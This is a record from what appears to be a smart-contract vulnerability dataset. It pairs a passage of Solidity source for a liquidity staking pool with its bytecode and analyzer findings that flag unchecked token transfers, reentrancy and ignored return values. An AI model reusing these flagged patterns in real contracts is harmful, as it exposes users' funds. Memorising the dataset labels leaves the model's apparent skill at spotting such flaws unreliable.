uint256 _before = IERC20(rewardToken).balanceOf(address(rewardFund));
TransferHelper.safeTransferFrom(rewardToken, msg.sender, rewardFund, _amount);
if (balance > 0) {
uint256 _after = IERC20(rewardToken).balanceOf(address(rewardFund));
_amount = _after.sub(_before);
// Create & add new snapshot
uint256 _prevRPS = getLatestSnapshot().rewardPerShare;
uint256 _nextRPS = _prevRPS.add(_amount.mul(1e18).div(balance));
Snapshot memory _newSnapshot = Snapshot({time: block.number, rewardReceived: _amount, rewardPerShare: _nextRPS});
emit AllocateReward(block.number, _amount);
snapshotHistory.push(_newSnapshot);
}
}
function allowRecoverRewardToken(address _token) external view override returns (bool) {
if (rewardToken == _token) {
// do not allow to drain reward token if less than 1 months after LatestSnapshot
if (block.number < (getLatestSnapshot().time + (BLOCKS_PER_DAY * 30))) {
return false;
}
}
return true;
}
// =========== Epoch getters
function epoch() public view override returns (uint256) {
return IEpochController(epochController).epoch();
}
function nextEpochPoint() public view override returns (uint256) {
return IEpochController(epochController).nextEpochPoint();
}
function nextEpochLength() public view override returns (uint256) {
return IEpochController(epochController).nextEpochLength();
}
function nextEpochAllocatedReward() public view override returns (uint256) {
return IEpochController(epochController).nextEpochAllocatedReward(address(this));
}
// =========== Snapshot getters
function latestSnapshotIndex() public view returns (uint256) {
return snapshotHistory.length.sub(1);
}
function getLatestSnapshot() internal view returns (Snapshot memory) {
return snapshotHistory[latestSnapshotIndex()];
}
function getLastSnapshotIndexOf(address _account) public view returns (uint256) {
return userInfo[_account].lastSnapshotIndex;
}
function getLastSnapshotOf(address _account) internal view returns (Snapshot memory) {
return snapshotHistory[getLastSnapshotIndexOf(_account)];
}
// =========== _account getters
function rewardPerShare() public view returns (uint256) {
return getLatestSnapshot().rewardPerShare;
}
function earned(address _account) public view override returns (uint256) {
uint256 latestRPS = getLatestSnapshot().rewardPerShare;
uint256 storedRPS = getLastSnapshotOf(_account).rewardPerShare;
UserInfo memory user = userInfo[_account];
return user.amount.mul(latestRPS.sub(storedRPS)).div(1e18).add(user.rewardEarned);
}
function canWithdraw(address _account) external view returns (bool) {
return userInfo[_account].epochTimerStart.add(withdrawLockupEpochs) <= epoch();
}
function canClaimReward(address _account) external view returns (bool) {
return userInfo[_account].epochTimerStart.add(rewardLockupEpochs) <= epoch();
}
function unlockWithdrawEpoch(address _account) public view override returns (uint256) {
return userInfo[_account].epochTimerStart.add(withdrawLockupEpochs);
}
function unlockRewardEpoch(address _account) public view override returns (uint256) {
return userInfo[_account].epochTimerStart.add(rewardLockupEpochs);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 _amount) external override lock {
IValueLiquidPair(pair).transferFrom(msg.sender, address(this), _amount);
_stakeFor(msg.sender);
}
function stakeFor(address _account) external override lock {
require(IStakePoolController(controller).isWhitelistStakingFor(msg.sender), "StakePoolEpochReward: Invalid sender");
_stakeFor(_account);
}
function _stakeFor(address _account) internal {
uint256 _amount = IValueLiquidPair(pair).balanceOf(address(this)).sub(balance);
require(_amount > 0, "StakePoolEpochReward: Invalid balance");
balance = balance.add(_amount);
UserInfo storage user = userInfo[_account];
user.epochTimerStart = epoch(); // reset timer
user.amount = user.amount.add(_amount);
emit Deposit(_account, _amount);
}
function removeStakeInternal(uint256 _amount) internal {
UserInfo storage user = userInfo[msg.sender];
uint256 _epoch = epoch();
require(user.epochTimerStart.add(withdrawLockupEpochs) <= _epoch, "StakePoolEpochReward: still in withdraw lockup");
require(user.amount >= _amount, "StakePoolEpochReward: invalid withdraw amount");
_claimReward(false);
balance = balance.sub(_amount);
user.epochTimerStart = _epoch; // reset timer
user.amount = user.amount.sub(_amount);
}
function withdraw(uint256 _amount) public override lock {
removeStakeInternal(_amount);
IValueLiquidPair(pair).transfer(msg.sender, _amount);
emit Withdraw(msg.sender, _amount);
}
function exit() external {
withdraw(userInfo[msg.sender].amount);
}
function _claimReward(bool _lockChecked) internal updateReward(msg.sender) {
UserInfo storage user = userInfo[msg.sender];
uint256 _reward = user.rewardEarned;
if (_reward > 0) {
if (_lockChecked) {
uint256 _epoch = epoch();
require(user.epochTimerStart.add(rewardLockupEpochs) <= _epoch, "StakePoolEpochReward: still in reward lockup");
user.epochTimerStart = _epoch; // reset timer
}
user.rewardEarned = 0;
// Safe reward transfer, just in case if rounding error causes pool to not have enough reward amount
uint256 _rewardBalance = IERC20(rewardToken).balanceOf(rewardFund);
uint256 _paidAmount = _rewardBalance > _reward ? _reward : _rewardBalance;
IStakePoolRewardFund(rewardFund).safeTransfer(rewardToken, msg.sender, _paidAmount);
emit PayRewardPool(0, rewardToken, msg.sender, _reward, _reward, _paidAmount);
}
}
function claimReward() public override {
_claimReward(true);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw() external override lock {
require(IStakePoolController(controller).isAllowEmergencyWithdrawStakePool(address(this)), "StakePoolEpochReward: Not allow emergencyWithdraw");
UserInfo storage user = userInfo[msg.sender];
uint256 amount = user.amount;
balance = balance.sub(amount);
user.amount = 0;
IValueLiquidPair(pair).transfer(msg.sender, amount);
}
function removeLiquidity(
address provider,
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) public override lock returns (uint256 amountA, uint256 amountB) {
require(IStakePoolController(controller).isWhitelistStakingFor(provider), "StakePoolEpochReward: Invalid provider");
removeStakeInternal(liquidity);
IValueLiquidPair(pair).approve(provider, liquidity);
emit Withdraw(msg.sender, liquidity);
(amountA, amountB) = IValueLiquidProvider(provider).removeLiquidity(address(pair), tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityETH(
address provider,
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external override lock returns (uint256 amountToken, uint256 amountETH) {
require(IStakePoolController(controller).isWhitelistStakingFor(provider), "StakePoolEpochReward: Invalid provider");
removeStakeInternal(liquidity);
IValueLiquidPair(pair).approve(provider, liquidity);
emit Withdraw(msg.sender, liquidity);
(amountToken, amountETH) = IValueLiquidProvider(provider).removeLiquidityETH(
address(pair),
token,
liquidity,
amountTokenMin,
amountETHMin,
to,
deadline
);
}
function removeLiquidityETHSupportingFeeOnTransferTokens(
address provider,
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external override lock returns (uint256 amountETH) {
require(IStakePoolController(controller).isWhitelistStakingFor(provider), "StakePoolEpochReward: Invalid provider");
removeStakeInternal(liquidity);
IValueLiquidPair(pair).approve(provider, liquidity);
emit Withdraw(msg.sender, liquidity);
amountETH = IValueLiquidProvider(provider).removeLiquidityETHSupportingFeeOnTransferTokens(
address(pair),
token,
liquidity,
amountTokenMin,
amountETHMin,
to,
deadline
);
}
}
contract StakePoolEpochRewardCreator is IStakePoolCreator {
uint256 public override version = 4001;
struct PoolRewardInfo {
address epochController;
uint256 withdrawLockupEpochs;
uint256 rewardLockupEpochs;
}
function create() external override returns (address) {
StakePoolEpochReward pool = new StakePoolEpochReward(msg.sender, version);
return address(pool);
}
function initialize(
address poolAddress,
address pair,
address rewardToken,
address timelock,
address stakePoolRewardFund,
bytes calldata data
) external override {
StakePoolEpochReward pool = StakePoolEpochReward(poolAddress);
PoolRewardInfo memory poolRewardInfo = abi.decode(data, (PoolRewardInfo));
pool.initialize(
pair,
address(stakePoolRewardFund),
address(timelock),
poolRewardInfo.epochController,
rewardToken,
poolRewardInfo.withdrawLockupEpochs,
poolRewardInfo.rewardLockupEpochs
);
}
} | 0x608060405234801561001057600080fd5b50600436106102ac5760003560e01c80636bb987fe1161017b578063d33219b4116100d8578063e9fad8ee1161008c578063efe2226611610071578063efe2226614610501578063f77c479114610509578063f7c618c114610511576102ac565b8063e9fad8ee146104e6578063ebb5d2e9146104ee576102ac565b8063e1f4a784116100bd578063e1f4a784146104ad578063e2dcb616146104c0578063e7d80e31146104d3576102ac565b8063d33219b41461049d578063db2e21bc146104a5576102ac565b8063b33f95271161012f578063b69ef8a811610114578063b69ef8a814610485578063b88a802f1461048d578063c5967c2614610495576102ac565b8063b33f952714610451578063b56b681d14610464576102ac565b8063900cf0cf11610160578063900cf0cf1461042e578063a694fc3a14610436578063a8aa1b3114610449576102ac565b80636bb987fe14610413578063714b46581461041b576102ac565b80632245561811610229578063446a2ec8116101dd57806354fd4d50116101c257806354fd4d50146103e55780635a9c0644146103ed57806362e7e46314610400576102ac565b8063446a2ec8146103ca5780634bf69206146103d2576102ac565b80632ffaaa091161020e5780632ffaaa091461039c5780633468a5b8146103af5780633f9e3f04146103c2576102ac565b8063224556181461037f5780632e1a7d4d14610387576102ac565b806307284ce91161028057806319262d301161026557806319262d30146103415780631959a002146103545780631e85cd6514610377576102ac565b806307284ce91461031757806311815a391461031f576102ac565b80628cc262146102b1578063022ba18d146102da57806303df4868146102e2578063046335d0146102f7575b600080fd5b6102c46102bf3660046127b4565b610519565b6040516102d191906130c8565b60405180910390f35b6102c46105ce565b6102ea6105d4565b6040516102d191906129fc565b61030a6103053660046127b4565b6105f0565b6040516102d19190612b17565b6102c4610637565b61033261032d36600461294f565b6106df565b6040516102d1939291906130df565b61030a61034f3660046127b4565b610712565b6103676103623660046127b4565b610752565b6040516102d194939291906130f5565b6102c4610779565b6102c461077f565b61039a61039536600461294f565b6107ee565b005b61039a6103aa36600461297f565b610942565b61030a6103bd3660046127b4565b610a2b565b6102c4610a76565b6102c4610a87565b61039a6103e03660046127b4565b610a9a565b6102c4610bc8565b61039a6103fb3660046127b4565b610bce565b6102c461040e3660046127b4565b610ccc565b6102c4610d0a565b6102c46104293660046127b4565b610d10565b6102c4610d3b565b61039a61044436600461294f565b610da6565b6102ea610e9d565b61039a61045f3660046127d5565b610eb9565b6104776104723660046128c6565b610fe4565b6040516102d19291906130d1565b6102c46112d0565b61039a6112d6565b6102c46112e2565b6102ea61134d565b61039a611369565b6104776104bb36600461284c565b61155f565b61039a6104ce36600461294f565b61184e565b6102c46104e13660046127b4565b611bf0565b61039a611c26565b6102c46104fc3660046128c6565b611c3f565b6102ea611f27565b6102ea611f43565b6102ea611f5f565b600080610524611f7b565b604001519050600061053584611fd3565b60409081015173ffffffffffffffffffffffffffffffffffffffff8616600090815260056020908152908390208351608081018552815481526001820154928101929092526002810154938201849052600301546060820152909250906105c3906105bd670de0b6b3a76400006105b76105af888861202e565b86519061206b565b906120bc565b90612108565b93505050505b919050565b60045481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60006105fa610d3b565b60045473ffffffffffffffffffffffffffffffffffffffff841660009081526005602052604090206003015461062f91612108565b111592915050565b600154604080517f07284ce9000000000000000000000000000000000000000000000000000000008152905160009273ffffffffffffffffffffffffffffffffffffffff16916307284ce9916004808301926020929190829003018186803b1580156106a257600080fd5b505afa1580156106b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106da9190612967565b905090565b600681815481106106ef57600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600061071c610d3b565b6003805473ffffffffffffffffffffffffffffffffffffffff851660009081526005602052604090209091015461062f91612108565b60056020526000908152604090208054600182015460028301546003909301549192909184565b60035481565b6001546040517f7effa5b600000000000000000000000000000000000000000000000000000000815260009173ffffffffffffffffffffffffffffffffffffffff1690637effa5b6906107d69030906004016129fc565b60206040518083038186803b1580156106a257600080fd5b600c54600114610833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90613091565b60405180910390fd5b6000600c5561084181612145565b6007546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063a9059cbb906108999033908590600401612a4e565b602060405180830381600087803b1580156108b357600080fd5b505af11580156108c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108eb919061292f565b503373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a94243648260405161093291906130c8565b60405180910390a2506001600c55565b600c5460011461097e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90613091565b6000600c5560095473ffffffffffffffffffffffffffffffffffffffff1633146109d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612e52565b8082101580156109e5575060388211155b610a1b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612df5565b6003919091556004556001600c55565b60025460009073ffffffffffffffffffffffffffffffffffffffff83811691161415610a6e576202fd00610a5d611f7b565b5101431015610a6e575060006105c9565b506001919050565b6006546000906106da90600161202e565b6000610a91611f7b565b60400151905090565b600c54600114610ad6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90613091565b6000600c55600a546040517f393a748400000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063393a748490610b319033906004016129fc565b60206040518083038186803b158015610b4957600080fd5b505afa158015610b5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b81919061292f565b610bb7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612d98565b610bc081612220565b506001600c55565b60005481565b600c54600114610c0a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90613091565b6000600c5560095473ffffffffffffffffffffffffffffffffffffffff163314610c60576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612e52565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316179055610ca8610d3b565b50610cb16112e2565b50610cba610637565b50610cc361077f565b50506001600c55565b60045473ffffffffffffffffffffffffffffffffffffffff82166000908152600560205260408120600301549091610d049190612108565b92915050565b61198081565b73ffffffffffffffffffffffffffffffffffffffff1660009081526005602052604090206001015490565b600154604080517f900cf0cf000000000000000000000000000000000000000000000000000000008152905160009273ffffffffffffffffffffffffffffffffffffffff169163900cf0cf916004808301926020929190829003018186803b1580156106a257600080fd5b600c54600114610de2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90613091565b6000600c556007546040517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906323b872dd90610e4190339030908690600401612a1d565b602060405180830381600087803b158015610e5b57600080fd5b505af1158015610e6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e93919061292f565b50610bc033612220565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b600d5460ff1615610ef6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612f43565b6007805473ffffffffffffffffffffffffffffffffffffffff808a167fffffffffffffffffffffffff000000000000000000000000000000000000000092831617909255600280548684169083161790556008805492891692909116919091179055610f6184610bce565b610f6b8282610942565b5050600980547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff94909416939093179092555050600d80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790555050565b600080600c54600114611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90613091565b6000600c55600a546040517f393a748400000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063393a74849061107e908c906004016129fc565b60206040518083038186803b15801561109657600080fd5b505afa1580156110aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ce919061292f565b611104576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612c24565b61110d87612145565b6007546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063095ea7b390611165908c908b90600401612a4e565b602060405180830381600087803b15801561117f57600080fd5b505af1158015611193573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b7919061292f565b503373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364886040516111fe91906130c8565b60405180910390a26007546040517fb56b681d00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8b81169263b56b681d9261126a92909116908c908c908c908c908c908c90600401612aca565b6040805180830381600087803b15801561128357600080fd5b505af1158015611297573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112bb91906129a0565b6001600c55909a909950975050505050505050565b600b5481565b6112e060016123b9565b565b600154604080517fc5967c26000000000000000000000000000000000000000000000000000000008152905160009273ffffffffffffffffffffffffffffffffffffffff169163c5967c26916004808301926020929190829003018186803b1580156106a257600080fd5b60095473ffffffffffffffffffffffffffffffffffffffff1681565b600c546001146113a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90613091565b6000600c55600a546040517fea74109e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063ea74109e906114009030906004016129fc565b60206040518083038186803b15801561141857600080fd5b505afa15801561142c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611450919061292f565b611486576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612e89565b3360009081526005602052604090208054600b546114a4908261202e565b600b55600082556007546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063a9059cbb906115039033908590600401612a4e565b602060405180830381600087803b15801561151d57600080fd5b505af1158015611531573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611555919061292f565b50506001600c5550565b600080600c5460011461159e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90613091565b6000600c55600a546040517f393a748400000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063393a7484906115f9908d906004016129fc565b60206040518083038186803b15801561161157600080fd5b505afa158015611625573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611649919061292f565b61167f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612c24565b61168887612145565b6007546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063095ea7b3906116e0908d908b90600401612a4e565b602060405180830381600087803b1580156116fa57600080fd5b505af115801561170e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611732919061292f565b503373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a94243648860405161177991906130c8565b60405180910390a26007546040517fe1f4a78400000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8c81169263e1f4a784926117e792909116908d908d908d908d908d908d908d90600401612a74565b6040805180830381600087803b15801561180057600080fd5b505af1158015611814573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183891906129a0565b6001600c55909b909a5098505050505050505050565b600c5460011461188a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90613091565b6000600c5560015473ffffffffffffffffffffffffffffffffffffffff1633146118e0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612c81565b6000811161191a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612cde565b6002546008546040517f70a0823100000000000000000000000000000000000000000000000000000000815260009273ffffffffffffffffffffffffffffffffffffffff908116926370a082319261197892909116906004016129fc565b60206040518083038186803b15801561199057600080fd5b505afa1580156119a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c89190612967565b6002546008549192506119f79173ffffffffffffffffffffffffffffffffffffffff9182169133911685612643565b600b5415610cc3576002546008546040517f70a0823100000000000000000000000000000000000000000000000000000000815260009273ffffffffffffffffffffffffffffffffffffffff908116926370a0823192611a5d92909116906004016129fc565b60206040518083038186803b158015611a7557600080fd5b505afa158015611a89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aad9190612967565b9050611ab9818361202e565b92506000611ac5611f7b565b6040015190506000611af8611af1600b546105b7670de0b6b3a76400008961206b90919063ffffffff16565b8390612108565b9050600060405180606001604052804381526020018781526020018381525090507fae0e1452e3105698745005d16edaee897b9daf225b8434ea419008b58e60cb764387604051611b4a9291906130d1565b60405180910390a160068054600181018255600091909152815160039091027ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f81019190915560208201517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d408201556040909101517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d419091015550505050506001600c55565b6003805473ffffffffffffffffffffffffffffffffffffffff8316600090815260056020526040812090920154610d0491612108565b336000908152600560205260409020546112e0906107ee565b6000600c54600114611c7d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90613091565b6000600c55600a546040517f393a748400000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063393a748490611cd8908b906004016129fc565b60206040518083038186803b158015611cf057600080fd5b505afa158015611d04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d28919061292f565b611d5e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612c24565b611d6786612145565b6007546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063095ea7b390611dbf908b908a90600401612a4e565b602060405180830381600087803b158015611dd957600080fd5b505af1158015611ded573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e11919061292f565b503373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a942436487604051611e5891906130c8565b60405180910390a26007546040517febb5d2e900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8a81169263ebb5d2e992611ec492909116908b908b908b908b908b908b90600401612aca565b602060405180830381600087803b158015611ede57600080fd5b505af1158015611ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f169190612967565b6001600c5598975050505050505050565b60085473ffffffffffffffffffffffffffffffffffffffff1681565b600a5473ffffffffffffffffffffffffffffffffffffffff1681565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b611f8361276f565b6006611f8d610a76565b81548110611f9757fe5b90600052602060002090600302016040518060600160405290816000820154815260200160018201548152602001600282015481525050905090565b611fdb61276f565b6006611fe683610d10565b81548110611ff057fe5b906000526020600020906003020160405180606001604052908160008201548152602001600182015481526020016002820154815250509050919050565b80820382811115610d04576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612b22565b60008115806120865750508082028282828161208357fe5b04145b610d04576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612bb6565b60008082116120f7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612ffd565b81838161210057fe5b049392505050565b80820182811015610d04576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612bed565b3360009081526005602052604081209061215d610d3b565b905080612179600354846003015461210890919063ffffffff16565b11156121b1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612d3b565b81548311156121ec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612fa0565b6121f660006123b9565b600b54612203908461202e565b600b55600382018190558154612219908461202e565b9091555050565b600b546007546040517f70a082310000000000000000000000000000000000000000000000000000000081526000926122d892909173ffffffffffffffffffffffffffffffffffffffff909116906370a08231906122829030906004016129fc565b60206040518083038186803b15801561229a57600080fd5b505afa1580156122ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122d29190612967565b9061202e565b905060008111612314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612b59565b600b546123219082612108565b600b5573ffffffffffffffffffffffffffffffffffffffff82166000908152600560205260409020612351610d3b565b600382015580546123629083612108565b815560405173ffffffffffffffffffffffffffffffffffffffff8416907fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c906123ac9085906130c8565b60405180910390a2505050565b3380156124025773ffffffffffffffffffffffffffffffffffffffff811660009081526005602052604090206123ee82610519565b60028201556123fb610a76565b6001909101555b3360009081526005602052604090206002810154801561263d57831561248657600061242c610d3b565b905080612448600454856003015461210890919063ffffffff16565b1115612480576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612ee6565b60038301555b60006002808401829055546008546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff928316926370a08231926124e8929116906004016129fc565b60206040518083038186803b15801561250057600080fd5b505afa158015612514573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125389190612967565b90506000828211612549578161254b565b825b6008546002546040517fd1660f9900000000000000000000000000000000000000000000000000000000815292935073ffffffffffffffffffffffffffffffffffffffff9182169263d1660f99926125ab92169033908690600401612a1d565b600060405180830381600087803b1580156125c557600080fd5b505af11580156125d9573d6000803e3d6000fd5b505060025460405133935073ffffffffffffffffffffffffffffffffffffffff90911691506000907f16dc511f817964d1eb39e0c3e84ce317f07b5b12cdfa1f8c2f179a08836af51a90612632908890819088906130df565b60405180910390a450505b50505050565b6000808573ffffffffffffffffffffffffffffffffffffffff166323b872dd86868660405160240161267793929190612a1d565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516126c591906129c3565b6000604051808303816000865af19150503d8060008114612702576040519150601f19603f3d011682016040523d82523d6000602084013e612707565b606091505b5091509150818015612731575080511580612731575080806020019051810190612731919061292f565b612767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90613034565b505050505050565b60405180606001604052806000815260200160008152602001600081525090565b803573ffffffffffffffffffffffffffffffffffffffff811681146105c957600080fd5b6000602082840312156127c5578081fd5b6127ce82612790565b9392505050565b600080600080600080600060e0888a0312156127ef578283fd5b6127f888612790565b965061280660208901612790565b955061281460408901612790565b945061282260608901612790565b935061283060808901612790565b925060a0880135915060c0880135905092959891949750929550565b600080600080600080600080610100898b031215612868578081fd5b61287189612790565b975061287f60208a01612790565b965061288d60408a01612790565b9550606089013594506080890135935060a089013592506128b060c08a01612790565b915060e089013590509295985092959890939650565b600080600080600080600060e0888a0312156128e0578283fd5b6128e988612790565b96506128f760208901612790565b955060408801359450606088013593506080880135925061291a60a08901612790565b915060c0880135905092959891949750929550565b600060208284031215612940578081fd5b815180151581146127ce578182fd5b600060208284031215612960578081fd5b5035919050565b600060208284031215612978578081fd5b5051919050565b60008060408385031215612991578182fd5b50508035926020909101359150565b600080604083850312156129b2578182fd5b505080516020909101519092909150565b60008251815b818110156129e357602081860181015185830152016129c9565b818111156129f15782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9889168152968816602088015294871660408701526060860193909352608085019190915260a084015290921660c082015260e08101919091526101000190565b73ffffffffffffffffffffffffffffffffffffffff9788168152958716602087015260408601949094526060850192909252608084015290921660a082015260c081019190915260e00190565b901515815260200190565b60208082526015908201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604082015260600190565b60208082526025908201527f5374616b65506f6f6c45706f63685265776172643a20496e76616c696420626160408201527f6c616e6365000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526014908201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604082015260600190565b60208082526014908201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604082015260600190565b60208082526026908201527f5374616b65506f6f6c45706f63685265776172643a20496e76616c696420707260408201527f6f76696465720000000000000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f5374616b65506f6f6c45706f63685265776172643a202165706f6368436f6e7460408201527f726f6c6c65720000000000000000000000000000000000000000000000000000606082015260800190565b60208082526027908201527f5374616b65506f6f6c45706f63685265776172643a2043616e6e6f7420616c6c60408201527f6f63617465203000000000000000000000000000000000000000000000000000606082015260800190565b6020808252602e908201527f5374616b65506f6f6c45706f63685265776172643a207374696c6c20696e207760408201527f69746864726177206c6f636b7570000000000000000000000000000000000000606082015260800190565b60208082526024908201527f5374616b65506f6f6c45706f63685265776172643a20496e76616c696420736560408201527f6e64657200000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526023908201527f5f77697468647261774c6f636b757045706f6368733a206f7574206f6620726160408201527f6e67650000000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f5374616b65506f6f6c45706f63685265776172643a202174696d656c6f636b00604082015260600190565b60208082526031908201527f5374616b65506f6f6c45706f63685265776172643a204e6f7420616c6c6f772060408201527f656d657267656e63795769746864726177000000000000000000000000000000606082015260800190565b6020808252602c908201527f5374616b65506f6f6c45706f63685265776172643a207374696c6c20696e207260408201527f6577617264206c6f636b75700000000000000000000000000000000000000000606082015260800190565b6020808252602f908201527f5374616b65506f6f6c45706f63685265776172643a20496e697469616c697a6560408201527f206d7573742062652066616c73652e0000000000000000000000000000000000606082015260800190565b6020808252602d908201527f5374616b65506f6f6c45706f63685265776172643a20696e76616c696420776960408201527f74686472617720616d6f756e7400000000000000000000000000000000000000606082015260800190565b60208082526018908201527f64732d6d6174682d6469766973696f6e2d62792d7a65726f0000000000000000604082015260600190565b60208082526024908201527f5472616e7366657248656c7065723a205452414e534645525f46524f4d5f464160408201527f494c454400000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601c908201527f5374616b65506f6f6c45706f63685265776172643a204c4f434b454400000000604082015260600190565b90815260200190565b918252602082015260400190565b9283526020830191909152604082015260600190565b9384526020840192909252604083015260608201526080019056fea26469706673582212203ad7feb80b40a82a7488316a20a16b78e847827e736583f6e057e76e4c9777cd64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 